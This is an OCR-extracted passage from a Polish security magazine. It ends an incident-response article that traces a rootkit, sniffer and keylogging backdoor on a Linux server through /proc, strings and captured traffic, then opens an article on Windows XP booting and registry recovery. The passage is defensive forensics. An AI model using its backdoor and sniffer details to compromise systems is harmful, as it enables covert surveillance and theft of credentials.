 jest poprawny i czy ukrywanie pro-

cesów nie jest wynikiem działania mo-
dułów jądra). W tym celu z konsoli ro-
ota  przechodzimy  do  katalogu  proc  i 
za  pomocą  polecenia 

ls

  sprawdza-

my ilość procesów (zazwyczaj nawet 
jeśli nie możemy zaufać wynikom po-
lecenia, to ukrywa ono jedynie katalo-
gi o nazwach prezentowanych w ram-
ce powyżej lub nazwy określone przez 
intruza). Po takiej wstępnej weryfikacji 

badamy,  czy  jakieś  procesy  nie  uru-
chamiają  niebezpiecznych  lub  niepo-
żądanych usług:

# for i in `seq 1 33000`; do test -d $i 

&& ls -l $i/exe; 
done

A  w  rezultacie  otrzymujemy  listę  jak 
na Listingu 6. Zaznaczony na czerwo-
no fragment może być śladem progra-
mu  niepożądanego  –  być  może  jest 
to sniffer. Póki co, dodajemy program 
do listy podejrzanych. Należy zwrócić 
także uwagę, czy przy 

1/exe -> *init*

 

nie występuję napis (deleted). Jest to 
typowa  oznaka  świadcząca  o  obec-
ności intruza i oprogramowania root-
kit. Dzieje się tak dlatego, że prawdo-
podobnie uruchomiony proces init jest 
fałszywy i został on uruchomiony pod-
czas  np.  restartu  systemu  wprowa-
dzając  odpowiednie  zmiany  na  jądro 
Linuksa  w  celu  ukrycia  narzędzi,  pli-
ków, katalogów etc. Warto sprawdzić 
za  pomocą  polecenia

  last/lastlog

czy  w  ostatnim  czasie  komputer  był 
resetowany – nakreśli nam to obraz, 
czy  należy  spodziewać  się  występo-
wania  modyfikacji  wbudowanych  w 
jądro lub moduły, czy też nie. Obraz 
ten  może  być  niestety  bardzo  mgli-
sty, gdyż usunięcie śladów po ponow-
nym włączeniu systemu nie jest trud-
ne. Nie można odrzucić tego także w 
naszym przypadku, bo pomimo, że in-
truz pozostawił w logach ślad o restar-

cie usługi ssh, mógł to uczynić typo-
wo przez nieuwagę, a logi z restartu 
systemu znakomicie i skutecznie usu-
nąć. Kolejnym, i to jednym z ważniej-
szych, krokiem jest zbadanie, czy in-
truz  nie  zainstalował  oprogramowa-
nia  modyfikującego  adresy  pamięci 
wywołań systemowych. Jest to dzia-
łanie  typowo  rootkitowe  stosowane 
przez  tzw.  LKM–Rootkity  (linux  ker-
nel-mode).  Operacja  ta  daje  możli-
wość  modyfikowania  wyników  pole-
ceń systemowych bez modyfikacji sa-
mych plików binarnych – a co za tym 
idzie, uniemożliwia wykrycie faktu do-
starczania  niewiarygodnych  danych 
(w  naszym  przypadku  mamy  pew-
ność, że pliki ls, ps i su były modyfiko-
wane, lecz wciąż brakuje nam pewno-
ści co do polecenia

 netstat

).  Analiza 

w tym przypadku dotyczy bezpośred-
nio przeglądu pamięci jądra systemu. 
Po  pierwsze,  należy  sprawdzić,  czy 
zostały  zmienione  adresy  wywołań 
systemowych. Można to zrobić w pro-
sty sposób za pomocą narzędzi typu

 

kstat

 (porównanie wyników programu 

kstat z tym, co wyświetla nam

 ps -aef

lub zastosowanie kern_check – http:
//la-samhna.de/library/kern_check.c
) 
oraz  w  sposób  alternatywny    ręcz-
nie  (co  jest  opisane  na  stronie  http:
//www.securityfocus.com/infocus/
1811
). Sprawdzanie ręczne polega na 
określeniu, czy adresy znajdujące się 
w pliku generowanym przy kompilacji 
(zazwyczaj  /boot/System.map)  zga-
dzają  się  z  aktualnie  wykorzystywa-
nymi. Po szczegóły techniczne odsy-
łam pod adres znajdujący się wyżej. 
Inną łatwą metodą, dającą zadowala-

Listing 11. 

Wynik próby połączenia z otwartym portem

[

root

@

proxima

:

~

]

telnet

 

localhost

 

23456

Trying

 

127.0

.

0.1

...

Connected

 

to

 

localhost

.

Escape

 

character

 

is

 '^

]

'.

test
Connection

 

closed

 

by

 

foreign

 

host

.

Listing 12. 

Poszukiwanie źródła procesu o nazwie klogd -D (metoda 

uniwersalna)

[

root

@

proxima

:

~

]

cat

 /

proc

/

PID_PROCESU

(

4354

 

w

 

naszym

 

przypadku

)

/

smaps

|

grep

08048000

-

08049000

 

r

-

xp

 

00000000

 

03

:

01

 

5041346

    /

tmp

/.

session

-

usb

Size

:

                 

4

 

kB

Rss

:

                  

4

 

kB

Shared_Clean

:

         

0

 

kB

Shared_Dirty

:

         

0

 

kB

Private_Clean

:

        

4

 

kB

Private_Dirty

:

        

0

 

kB

08049000

-

0804

a000

 

rw

-

p

 

00000000

 

03

:

01

 

5041346

   /

tmp

/.

session

-

usb

Listing 13. 

Analiza programu 

nasłuchującego na porcie 
23456 za pomocą strings

[

root

@

proxima

:

~

]

# strings

/

tmp

/.

session

-

usb

....
ü˙˙

Y

[

ÉĂ

/

bin

/

bash

klogd

 

-

D

...
ţ˙˙

o

ô

...

GCC

:

 

(

GNU

)

 

4.1

.

2

pass

...

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

45

jące efekty w wykrywaniu obecności 
modułów modyfikujących wyniki pole-
ceń (i nie tylko), jest porównanie wyni-
ków polecenia

 lsmod

 (lub jeśli nie ufa-

my lsmodowi, to

  cat  /proc/modules

) 

z  zawartością  /proc/ksyms  (lub 
/proc/kallsyms
),  gdzie  nazwy  modu-
łów zawarte są w nawiasach kwadra-
towych.  Poszukujemy  wszelkich  nie-
zgodności,  anomalii  oraz  wszystkie-
go, co wygląda na możliwą modyfika-
cję wprowadzoną przez intruza. Nie-
stety, z łatwością zastosowania w pa-
rze idzie łatwość przeciwdziałania tej 
metodzie przez LKM. W tym momen-
cie możemy przejść do dalszej analizy 
i skorzystać z programu chkrootkit w 
celu wykrycia m. in. obecności sniffe-
rów lub rootkitów. Krokiem pierwszym 
będzie sprawdzenie za pomocą tego 
narzędzia  procesów  ukrytych  (patrz 
Listing 15).

Ponieważ  mamy  już  pewien  za-

sób  wiedzy  –  analizę  wyniku  po-
zostawiam  czytelnikowi.  Zwracam 
uwagę  na  możliwość  występowa-
nia  prawdziwych  i  legalnych  ukry-
tych  procesów.  Znajomość  i  odkry-
cie tych ukrytych aplikacji leży u pod-
staw obycia z własną maszyną.

Kolejnym  krokiem,  jaki  musimy 

zrobić,  jest  sprawdzenie  obecności 
snifferów (patrz Listing 16).

Chciałbym zauważyć, że zarówno 

sam podsłuch, jak i jego wykrywanie 
to bardzo ciekawe zagadnienia, a ze 
względu na cel działania intruza – oba 
dotyczą  naszego  przypadku.  Pod-
słuch często pozostawia ślady w sys-
temie – większość intruzów pozosta-
wia uruchomione sniffery w celu uzy-
skania haseł i loginów użytkowników 
korzystających z sieci, a także w ce-
lu  przechwycenia  innych  wrażliwych 
danych. Działanie snifferów opiera się 
przede wszystkim na ustawieniu kart 
sieciowych w tryb promiscuous – po-
woduje to odbiór wszystkich pakietów 
krążących w sieci, a nie jedynie skie-
rowanych do maszyny, na której znaj-
duje się uruchomiony sniffer. Jednak 
ze względu na fakt, iż cały ruch prze-
chodzi przez nasz serwer, intruz mógł 
uruchomić podsłuch w trybie non-pro-
miscuous
  zbierając  dane  z  pakietów 
skierowanych  do  naszej  maszyny... 
Dlaczego tego nie zrobił, co jednocze-
śnie utrudniłoby jego wykrycie? Może 
pośpiech  albo  pomyłka...  Właśnie  z 
takich powodów jesteśmy bardzo czę-
sto w stanie wykryć znakomicie zama-
skowanego intruza. Sam podsłuch w 
wielu przypadkach nie opiera się wy-
łącznie na typowych snifferach – ko-
dowany ruch sieciowy wygląda w lo-
gach  jak  losowy  ciąg  danych,  a  od-

czyt  czegokolwiek  jest  niemożliwy. 
Jeżeli intruzowi zależy na dokładnym 
zbieraniu  danych,  często  modyfikuje 
powłokę  shell  oraz  sshd  w  taki  spo-
sób  aby  wszystko,  co  jest  wpisywa-
ne w linii komend było automatycznie 
logowane (dlatego po odkryciu mody-
fikacji sshd należało natychmiast od-
ciąć ruch i zainstalować nowe – pew-
ne oprogramowanie). Ręczne wykry-
wanie  oprogramowania  podsłuchują-
cego  polega  na  zbadaniu  występo-
wania  flagi  PROMISC  w  interfejsach

 

(#ifconfig  -a|grep    PROMISC)

. Jednak 

flaga ta często jest ukryta, dlatego na-
leży przyjąć inne metody walki:

•   na zasadzie dedukcji poszukuje-

my  oprogramowania,  które  być 
może  jest  ukryte  przed  polece-
niem

  ps

 lub posiada dziwną na-

zwę,  pracuje  na  prawach  admi-
nistratora,  tworzy  logi  ze  swojej 
działalności, ma długi czas dzia-
łania oraz obciąża znacznie sys-
tem (

top

),

•   analizując logi systemowe, jeste-

śmy w stanie odkryć zmiany try-
bu pracy kart sieciowych – i po-
mimo tego, że tryb jest ukryty dla 
polecenia

 ifconfig

, w logach ma-

my wyraźnie widoczne jego usta-
wienie (patrz Rysunek 2),

•   poszukując  oprogramowania  ko-

rzystającego  z  gniazd  SOCK_
RAW/SOCK_PACKET

  (lsof  | 

awk  '$5==”sock”  {print}’)

 - wy-

krywa także sniffery pracujące w 
trybie non-promiscuous (patrz Li-
sting 7).

Mając  już  pewność  faktu  prowadze-
nia  podsłuchu  oraz  umiejscowienie 
jego źródła – wyłączamy i usuwamy 
całe  oprogramowanie  pozostawio-
ne  przez  intruza  i  przystępujemy  do 
dalszej analizy. Na tym etapie musi-
my sprawdzić, czy intruz nie posiada 
innego rodzaju podsłuchów – spraw-
dzamy koniecznie, czy powłoka bash 
nie została w żaden sposób zmodyfi-
kowana oraz czy nie pracują inne na-
rzędzia działające jak keyloggery. Po-
szukiwania rozpoczynamy i prowadzi-
my tak, jak poprzednio – analiza

 lsof

,

 

strings

,  można  wykorzystać  tak-

że

  gdb

  do  analizy  basha.  Upewnia-

Pomocne w detekcji

Bardzo pomocnym działaniem w detekcji intruza jest:

•   stosowanie dodatkowych systemów logowania, lub nawet specjalnie do tego celu 

skonfigurowanej maszyny (da nam to wystarczającą ilość niepodważalnych dowo-
dów oraz możliwość wytropienia intruza – fizycznie miejsca, z którego atakował, lub 
maszyn przez niego wykorzystanych),

•   zainstalowanie oprogramowania przesyłającego pliki dzienników systemowych do 

innej maszyny lub na specjalnie do tego celu przeznaczoną skrzynkę pocztową 
– uchroni nas to przed oślepieniem wywołanym edycją tych plików przez intruza i 
da dostatecznie dużo dowodów i śladów pochodzenia ataku,

•   stosowanie  narzędzi  sprawdzania  sum  kontrolnych,  detektorów  włamań,  syste-

mów wykrywania włamań i detektorów skanowań (tripwire, aide, snort, nids, aafid, 
hostsentry, portsentry, itp.),

•   stosowanie snifferów w służbie bezpieczeństwu (wysyłanie plików dziennika do in-

nej maszyny lub na pocztę w celu dokładnego określenia działań intruza na pod-
stawie analizy logów ruchu TCP/UDP IP),

•   nadzór i protokołowanie wszelkich działań superużytkownika (podsłuch założony 

na konto roota z wysyłaniem plików dziennika do innej maszyny).

W większości przypadków działania te są bardzo proste w implementacji i wdrożeniu, 
natomiast rezultaty, jakie przyniosą, są nie do przecenienia – niekończąca się skarbni-
ca dowodów oraz śladów...

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

46

my się też, czy żadne oprogramowa-
nie nie usiłuje generować ruchu sie-
ciowego.  W  celu  sprawdzenia  ruchu 
w  sieci  zamieniamy  się  miejscami  z 
intruzem – teraz to my uruchamiamy 
sniffery (

tcpdump

,

 dsniff

 etc.) i prowa-

dzimy nasłuch. Działanie to jest bar-
dzo proste – cały ruch przychodzący 
do komputera został wcześniej odcię-
ty, dlatego przez cały okres nasłuchu 
powinniśmy  mieć  pusty  plik  logowa-
nia.  Jeśli  jest  inaczej,  należy  rozpo-
cząć  poszukiwania  i  prowadzić  je  w 
taki  sposób,  aby  móc  odpowiedzieć 
na  pytania:  Co  generuje  ten  ruch? 
Czego  on  dotyczy?  Jakie  dane  są 
przesyłane?  W  tym  celu  oczywiście 
musimy wykorzystać wiedzę zdobytą 
do tej pory oraz zapoznać się dokład-
nie z wynikami generowanymi przez

 

netstat

. Poniżej chciałbym zaprezen-

tować  przykładowy  scenariusz  dzia-
łania, którego rezultatem ma być od-
krycie  programu  generującego  ruch. 
Założeniem, jakie stawiam, jest  fakt, 
że  do  tej  pory  system  powinien  być 
wiarygodny  i  nie  ukrywać  żadnych 
plików ani procesów.

Przykład analizy ruchu sieciowe-

go (patrz Listing 8).

Proces 4354, jak na proces sys-

temu  logowania,  ma  stanowczo  za 
wysokie  PID.  Nazwa  procesu  wy-
gląda  na  fałszywą,  gdyż  oryginalny 
klogd widoczny jest jako

  /usr/sbin/

klogd

, a jego strona man nie przewi-

duje opcji -D. Mamy podejrzany pro-
ces,  wszelki  ruch  sieciowy  genero-
wany  z  i  do  komputera  od  tej  chwi-
li będziemy wiązali z tym procesem. 
Metoda  stosowana  do  odkrycia  po-
wyższych  informacji  to:  trochę  spo-
strzegawczości  plus  nieco  wiedzy  i 
znajomości  systemu  Linux.  Następ-
nie badamy, czy aplikacja ta otwiera 
jakieś porty (patrz Listing 9).

Świadomi  jesteśmy  otwarcia 

wszystkich  portów  poza  23456. 
Jest  to  bardzo  wysoki  numer  portu, 
często  stosowany  przez  backdoory 
–  prawdopodobnie  mamy  to,  czego 
szukamy. Sprawdźmy, co na to nmap 
(patrz Listing 10).

Pewnym  jest,  że  w  systemie  ist-

nieje jeszcze aplikacja, która powodu-
je  jakieś  działania  sieciowe.  Musimy 
sprawdzić, jakie i co to za aplikacja, 
a  ze  względu  na  znajomość  wszel-
kich pozostałych procesów działania 
sieciowe i otwarcie portu wiążemy z

 

klogd  -D

.  Kolejnym  naszym  ruchem 

będzie  uwidocznienie  tego,  co  kryje 
się pod tym portem (Listing 11).

Po wprowadzaniu danych i zaak-

ceptowaniu  nastąpiło  natychmiasto-
we  rozłączenie  –  można  sądzić,  że 
oprogramowanie  oczekuje  na  wpro-
wadzenie  hasła.  Aby  to  sprawdzić, 
należy odkryć prawdziwy plik binarny 
(patrz Listing 12)

W  taki  sposób  odnaleźliśmy 

właściwy  program,  kryjący  się  pod 
„klogd -D”. Poddajemy go analizie za 
pomocą

  strings

 – spróbujemy zdo-

być hasło, bo być może jest zapisa-
ne jawnie w pliku binarnym.

Próba  zalogowania  za  pomo-

cą  hasła  pass  kończy  się  fiaskiem 
–  najwidoczniej  nazwa  pass  doty-
czy zmiennej, w której jest przecho-
wywane  hasło. Można  je  na  pewno 
odkryć stosując techniki reverse en-
gineeringu, jednak my darujemy so-
bie  dalsze  badania  samego  progra-
mu, a skupimy się na tym, co on ro-
bi.  Następnym  naszym  ruchem  bę-
dzie  mała  prowokacja:  generuje-
my  ruch  sieciowy  dotyczący  portu 
23456 i oczekujemy działań intruza, 
logując wszystko za pomocą sniffe-
ra....  Po  kilkunastu  minutach  rozpo-
czął  się  ruch  na  porcie.  Po  pierw-

sze  zostało  nawiązane  połączenie 
z  portem  przez  host  o  adresie  IP 
208.122.XX.XX – prezentuje to mię-
dzy innymi netstat:

tcp   0   0 127.0.0.1:23456
208.122.XX.XX:52102
ESTABLISHED4537/bash

Natomiast  na  snifferze  wykrywamy 
ruch sieciowy (Listing 14).

Wszystko teraz jest jasne – pro-

gram znajdujący się na porcie 23456 
działa  jak  keylogger  –  przesyła 
wszelkie  dane  (zarówno  polecenia, 
jak i ich wyniki) do komputera o ad-
resie  208.122.XX.XX.  Można  poku-
sić  się  o  dalsze  analizy  oraz  zba-
danie  i  poinformowanie  administra-
tora  komputera,  na  który  wysyłany 
jest cały ruch konsolowy generowa-
ny na naszej stacji serwerowej, jed-
nak  my  darujemy  sobie  te  czynno-
ści.  Wierzę,  że  wszyscy  Czytelnicy 
–  mając  tak  wyszczególnione  dzia-
łania – poczuli żyłkę detektywa i ma-
ją  w  myślach  obraz  dotyczący  spo-
sobu  wyszukiwania  informacji  oraz 
prawidłowego kojarzenia faktów. Po 
tak przeprowadzonej analizie należy 
zbadać,  czy  komputer  był  wykorzy-
stywany  do  innych  ataków.  Przede 
wszystkim poszukujemy w systemie 
oprogramowania  do  łamania  haseł 
oraz wszelkich plików binarnych nie 
umieszczonych  na  serwerze  przez 
nas.  Pozwoli  to  nam  znacznie  pod-
nieść  poziom  zaufania  do  serwe-

Listing 15. 

Ukryte procesy 

(poszukiwanie trojanów LKM)

#chkproc

You

 

have

  

8

 

process

 

hidden

 

for

readdir

 

command

You

 

have

  

8

 

process

 

hidden

 

for

ps

 

command

Listing 16. 

Interfejsy z 

włączonym trybem promiscuous

#ifpromisc

eth1

:

 

PF_PACKET

(

/

usr

/

sbin

/

dsniff

)

<

  

stosowany

 

przeze

 

mnie

eth1

:

 

PF_PACKET

(

/

usr

/

sbin

/

tcpdump

)

<

  

stosowany przeze mnie

eth1: PF _ PACKET

(

/usr/sbin

.sfni

)

  

<  

intruza

Listing 14. 

Przechwycony ruch sieciowy z portu 23456

[

root

@

proxima

:

/

home

/

dek

/

]

# ./ss

[

 

127.0

.

0.1

:

23456

 

->

 

208.122

.

XX

.

XX

:

52102

 

]

cd

 /

home

;

 

ls

 

-

al

[

 

127.0

.

0.1

:

23456

 

->

 

208.122

.

XX

.

XX

:

52102

 

]

total

 

20

drwxr

-

xr

-

x

  

4

 

root

  

root

  

4096

 

2007

-

04

-

10

 

23

:

31

 ./

drwxr

-

xr

-

x

 

22

 

root

  

root

  

4096

 

2007

-

04

-

08

 

02

:

43

 ../

drwx

--

x

--

x

 

72

 

dek

 

users

 

8192

 

2007

-

07

-

08

 

02

:

33

 

dek

/

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

47

ra.  Warte  zachodu  jest  również  do-
kładne  sprawdzenie  plików  znajdu-
jących  się  w  katalogu  głównym  da-
emona  httpd  oraz  zapoznanie  się  z 
zawartością  katalogów  ze  strona-
mi  WWW  umieszczonymi  na  ser-
werze  przez  wszystkich  użytkow-
ników.  Działania  końcowe:  po  zain-
stalowaniu  oprogramowania  z  po-
prawnymi  plikami  binarnymi  su,  ps, 
ls
  etc.,  oraz  usunięciu/dezaktywacji 
rootkitów, loggerów i snifferów moż-
na uznać, że system odzyskał wiary-
godność.  W  tym  momencie  należy 
powtórzyć  całą  procedurę  poszuki-
wawczą dotyczącą intruza A, posze-
rzoną  teraz  (mam  nadzieję!)  o  wie-
le nowych pomysłów i metod, opra-
cowanych przez czytelnika w trakcie 
lektury. Jako radę na przyszłość pra-
gnę podać nauczenie się odnotowy-
wania  wszelkich  dowodów  i  śladów 
na  innych,  zewnętrznych  nośnikach 
– my w trakcie analiz odkryliśmy kil-
ka  adresów  IP,  które  być  może  na-
leżą  do  włamywacza.  Pomimo  te-
go, że do tej pory nic o tym nie wspo-
minałem,  bardzo  często  administra-
torzy  przekazują  ślady  działalności 
intruzów do policji lub CERTu (zgła-

szanie incydentu: http://www.cert.pl/
index3.html?id=11
).  W  takim  przy-
padku  nie  możemy  usuwać  śladów 
intruza, gdyż będą one stanowiły do-
wody  w  ewentualnej  sprawie  sądo-
wej – należy dowiedzieć się bezpo-
średnio u odpowiednich organów, co 
i w jaki sposób należy zabezpieczyć. 
Podążając  tą  drogą  warto  mieć  ko-
pie zapasowe systemu, które będzie 
można szybko przywrócić – chociaż-
by na innej maszynie – i bez przerwy 
w działaniu dalej świadczyć usługi, a 
samą  jednostką  zaatakowaną  zająć 
się  w  laboratorium  –  odizolowanym 
fragmencie sieci.

Podsumowanie

Na  podstawie  analizy  dwóch  ataków 
wykonanych przez zgoła odmiennych 
agresorów  przedstawiłem  podstawo-
we  sposoby  detekcji  samego  intruza 
i śladów pozostawianych przez niego 
w systemie. Zaprezentowałem ścież-
ki, którymi należy podążać w trakcie 
podstawowej  analizy.  Podstawowej, 
gdyż  samo  zagadnienie  wykrywania 
włamań oraz detekcji intruza jest bar-
dzo szerokie i wymaga specjalistycz-
nej wiedzy z wielu dziedzin informaty-

ki i bezpieczeństwa sieciowego. Przez 
cały artykuł zmuszony byłem przemil-
czeć pewne sprawy i aspekty związa-
ne z samym działaniem detekcyjnym, 
ze względu na fakt ich skomplikowa-
nia.  Milcząco  też  zakładałem  pewne 
stany  systemu  i  sposoby  jego  konfi-
guracji – wszystko po to, aby móc zo-
brazować konkretne elementy detek-
cji. Jestem świadomy tego, że każda 
analiza wygląda zupełnie inaczej, jest 
sprawą  indywidualną  związaną  ze 
sposobem  działania  danego  napast-
nika, zależną od systemu i jego kon-
figuracji. Pomimo to starałem się za-
szczepić w czytelniku pewien tok my-
ślenia:  dążenie  do  poszerzania  wie-
dzy,  do  samodzielnej  analizy  przed-
stawionych przypadków, do głębsze-
go przemyślenia wszelkich działań in-
truza,  do  kreatywności  w  opracowy-
waniu  metod  detekcji,  chęć  pokony-
wania problemów i zadań oraz rozkła-
du ich na czynniki pierwsze. Wszystko 
to dlatego, aby czytelnik samodzielnie 
był w stanie opracować i stworzyć dro-
gę detekcji intruza w systemie zarzą-
dzanym przez siebie – aby mógł po-
wiązać ze sobą tak błahą sprawę, jak 
wzmożona praca dysku, z włamaniem 
i był w stanie reagować odpowiednio 
na  wszystkie  takie  sygnały.  Chcia-
łem  zwrócić  uwagę  na  liczne  powią-
zania każdego drobnego aspektu pra-
cy sieci z sygnałami o włamaniu, gdyż 
jest  to  sprawą  kluczową,  pozwalają-
cą osiągnąć sukces. Wszelkie działa-
nia mające na celu wykrycie intruza w 
systemie  powinny  być  przemyślane  i 
poparte odpowiednią wiedzą. Ważne 
jest, aby administrator bardzo dobrze 
znał swoją jednostkę serwerową oraz 
sieć. Warto również mieć na uwadze 
fakt, że wszelkie narzędzia stosowa-
ne  przez  włamywaczy  są  także  na-
szymi przyjaciółmi – sprawdzenie po 
włamaniu  pewnych  elementów  sys-
temu za pomocą takich narzędzi da-
je  nam  obraz  systemu,  jaki  uzyskał 
intruz  i  na  jego  podstawie  możemy 
wnioskować  o  przyjętych  przez  wła-
mywacza działaniach i strategiach, co 
jest dla nas bardzo pomocne. Na sam 
koniec  pragnę  przypomnieć  senten-
cję Sun Tzu: Cała sztuka walki bazu-
je na zwodzeniu przeciwnika -
 pamię-
tajmy o tym! l

O autorze

Autor od wielu lat interesuje się informatyką – swoje zainteresowania skupił głównie na 
zagadnieniach i problematyce sieci komputerowych oraz bezpieczeństwa teleinforma-
tycznego. Jest samoukiem i pasjonatem. Studiuje informatykę na wydziale Cybernety-
ki Wojskowej Akademii Technicznej. 
Kontakt z autorem: bartosz.kalinowski@gmail.com

W Sieci

•   http://www.securityfocus.com/infocus/1771 – monitorowanie integralności systemu,
•   http://www.snort.org/ - najpopularniejszy i najbardziej znany system IDS,
•   http://www.sans.org/resources/idfaq/ - FAQ dotyczące wykrywania włamań,
•   http://www.honeypots.net/ids/products – zbiór narzędzi dotyczących wykrywania 

włamań,

•   http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf – przewodnik po 

IDS i IDPS stworzony przez NIST,

•   http://www.metrocomputers.com/Ports.htm – przegląd koni trojańskich ze wzglę-

du na wykorzystywane porty,

•   http://www.securityfocus.com/ids – dział dotyczący IDS – wiele artykułów i analiz,
•   http://www.securityfocus.com/infocus/1811 – wykrywanie rootkitów,
•   http://www.cert-in.org.in/training/29thmarch05/rootkits.pdf  –  zasady  działania  i 

wykrywanie rootkitów,

•   http://google.com + hasła IDS, intrusion prevention, intrusion detection etc., miej-

sce od którego należy zacząć wyszukiwanie informacji.

background image

www.hakin9.org

hakin9 Nr 10/2007

48

Atak

systemie  Windows  XP  Professio-
nal  PL  rejestr  składa  się  z  plików 
sam.dat,  security.dat,  software.dat

system.dat  oraz  default.dat  umieszczonych  w 
katalogu  C:\Windows\System32\Config  oraz 
pliku  ntuser.dat  umieszczonego  w  katalogu 
profilu  danego  użytkownika  i  odpowiadające-
go za jego prywatną konfigurację. Znajomość 
i  zrozumienie  procesów  zachodzących  pod-
czas startu komputera oraz systemu operacyj-
nego ma duże znaczenie. Pozwala wykryć i na-
prawić potencjalne błędy czy problemy związa-
ne z ładowanymi sterownikami i oprogramowa-
niem. Początkowy etap startu komputera kon-
trolowany  jest  przez  BIOS  i  test  POST  –  Po-
wer  On  Self  Test
,  odpowiedzialny  głównie  za 
testowanie  karty  graficznej  i  pamięci  RAM,  a 
także  procesora.  Ostatnim  etapem  realizowa-
nym  przez  BIOS  jest  odszukanie  pierwszego 
sektora  dysku  startowego  MBR  –  Master  Bo-
ot Record
 i wczytanie z niego do pamięci RAM 
programu inicjującego ładowanie – tzw. bootlo-
adera, który z kolei odpowiedzialny jest za ła-
dowanie  do  pamięci  pliku  startowego  NTLDR 
(NT  Loader)  uruchamiającego  system  opera-
cyjny.  Pierwszym  etapem  startu  systemu  jest 
odczytanie przez NTLDR pliku Boot.ini.

Start WINDOWS

Edytując  plik  boot.ini  należy  pamiętać  o  za-
chowaniu oryginalnej wersji i wciśnięciu klawi-
sza ENTER na końcu pliku. W przypadku, gdy 
zainstalowanych jest kilka systemów operacyj-
nych,  wyświetlone  zostaje  menu  startowe  wy-
boru  systemu,  natomiast  gdy  jest  tylko  jeden 
system,  np.  Windows  XP  Professional,  menu 
startowe jest pomijane. Po wybraniu opcji startu 
Windows XP uruchamiany jest program NTDE-
TECT.COM
, który analizuje konfigurację portów 
komunikacyjnych, zainstalowanych kart rozsze-
rzeń w magistralach PCI, EISA i ISA, napędów 

Łamanie klucza rejestracji 

Windows XP

Rafał Podsiadły

stopień trudności

Uruchamiamy system, na pierwszym ekranie pojawia się 

komunikat, system Windows nie znalazł pliku c:\windows\

system32\config, już myślimy o ponownej reinstalacji systemu, 

a wystarczy wykorzystać konsole odzyskiwania, aby uratować 

system. 

Z artykułu dowiesz się

•   jak  zaczyna  życie  najpopularniejszy  system 

operacyjny.

Co powinieneś wiedzieć

•   znać podstawy Windows, 
•   śledzić  magazyn  hakin9,  ten  artykuł  będzie 

częściowo  nawiązywał  do  tekstu  Hakowanie 
rejestru
 z numeru 8/2007.

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

49

dyskowych i myszki. Wszystkie te in-
formacje zapisywane są w kluczu: 

HKEY_LOCAL_MACHINE\HARDWARE\ 

DESCRIPTION.

Następny  etap  startu  systemu  ope-
racyjnego  związany  jest  z  ładowa-
niem  przez  NTLDR  jądra  systemo-
wego,  NTOSKRNL.EXE.  W  dalszej 
kolejności odszukiwane są sterowni-
ki uruchamianych

urządzeń.  Informacje  na  temat 

tych sterowników umieszczone są w 
rejestrze w kluczu: 

HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services.

Jeśli  któryś  ze  sterowników  po-

siada wartość Start 0x0, oznacza to, 
że zostanie załadowany, ale nie uru-
chomiony,  jak  w  przypadku  PCIIde 
(Rysunek 1). 

Jeśli wartość Start ustawiona jest 

na 0x1, to oznacza, że sterownik zo-
stanie  jednocześnie  załadowany  i 
uruchomiony, np. sterownik Cdrom.

Kolejnym etapem startu systemu 

jest menedżer sesji Smss.exe. Infor-

macje na jego temat znajdują się w 
kluczu:

HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Session 

Manager.

Menedżer  sesji  odpowiedzialny  jest 
za  uruchamianie  programów  znaj-
dujących  się  w  wartości  BootExe-
cute
. Domyślnie znajduje się tam au-
tochk
 uruchamiający program  Auto-
chk.exe
,  który  sprawdza  dysk  twar-
dy  w  momencie  startu  Windows. 
Menedżer  sesji  odpowiedzialny  jest 
również  za  uruchamianie  menedże-
ra  logowania  Winlogon.exe,  zarzą-
dzającego  logowaniem  użytkownika 
do  systemu.  Podczas  uruchamiania 
procesu Winlogon pobierana jest za-
wartość klucza: 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
WindowsNT\CurrentVersion\Winlogon.

Po  udanym  zalogowaniu  użytkow-
nika do systemu w rejestrze nastę-
puje  modyfikacja  wpisów  dotyczą-
cych  ostatniej  poprawnej  konfigu-
racji  systemu.  Jeśli  wszystko  prze-

biegło prawidłowo, pojawia się pul-
pit. Z punktu widzenia użytkownika 
najistotniejsze  są  informacje,  któ-
re klucze rejestru są aktywowane i 
odpowiadają  za  uruchomienie  pro-
gramów  i  skryptów  podczas  star-
tu  systemu  operacyjnego.  Wiąże 
się  to  w  głównej  mierze  z  niebez-
pieczeństwami  wynikającymi  na 
przykład  z  uruchamiania  się  diale-
rów.(Patrz ramka lista istotnych klu-
czy rejestru) 

Ponadto,  aby  mieć  całkowitą 

pewność  i  kontrolę  nad  uruchamia-
nymi  podczas  startu  systemu  pro-
gramami,  warto  sprawdzać  wpisy 
w pliku Win.ini w sekcji 

Load=

 i 

Run=

 

oraz sprawdzać, jakie skróty znajdu-
ją się w folderze Autostart umiejsco-
wionym w katalogach C:\Documents 
and  Settings\All  Users\Menu  Start\
Programy\Autostart
  i  C:\Documents 
and  Settings\nazwa  użytkownika\
Menu Start\Programy\Autostart
.

Tryby uruchamiania 

systemu

Po  instalacji  nowego  urządzenia 
lub  programu  system  niekiedy  od-
mawia  nam  posłuszeństwa.  Wtedy 
należy wykonać rozruch z wciśnię-
tym klawiszem F8 podczas począt-
kowej fazy ładowania systemu – wy-
wołać ekran menu, z którego można 
wybrać  specjalne  tryby  uruchamia-
nia  systemu.  Lista  dostępnych  try-
bów  jest  długa.  Jeżeli  awaria  sys-
temu  wystąpiła  bezpośrednio  po 
zainstalowaniu  nowego  urządzenia 
lub programu, rozwiązaniem będzie 
wybór opcji Ostatnia dobra konfigu-
racja  (ostatnie  działające  ustawie-
nia), dzięki której można uruchomić 
system dokładnie w takim stanie, w 
jakim  po  raz  ostatni  którykolwiek  z 
użytkowników pomyślnie się do nie-
go zalogował.

Pełna  lista  specjalnych  trybów 

uruchamiania systemu Windows XP 
wygląda następująco:

•   Tryb awaryjny – system zostanie 

uruchomiony  z  minimalną  licz-
bą  sterowników  (np.  nie  zosta-
ną  zainstalowane  sterowniki  na-
pędu  CD-ROM).  Wszystkie  uru-
chomione w tym trybie urządze-

Listing 1. 

Przykładowe odzyskanie rejestru

md kopia
copy c:\windows\system32\config\system c:\windows\kopia\system.bak
copy c:\windows\system32\config\software c:\windows\kopia\software.bak
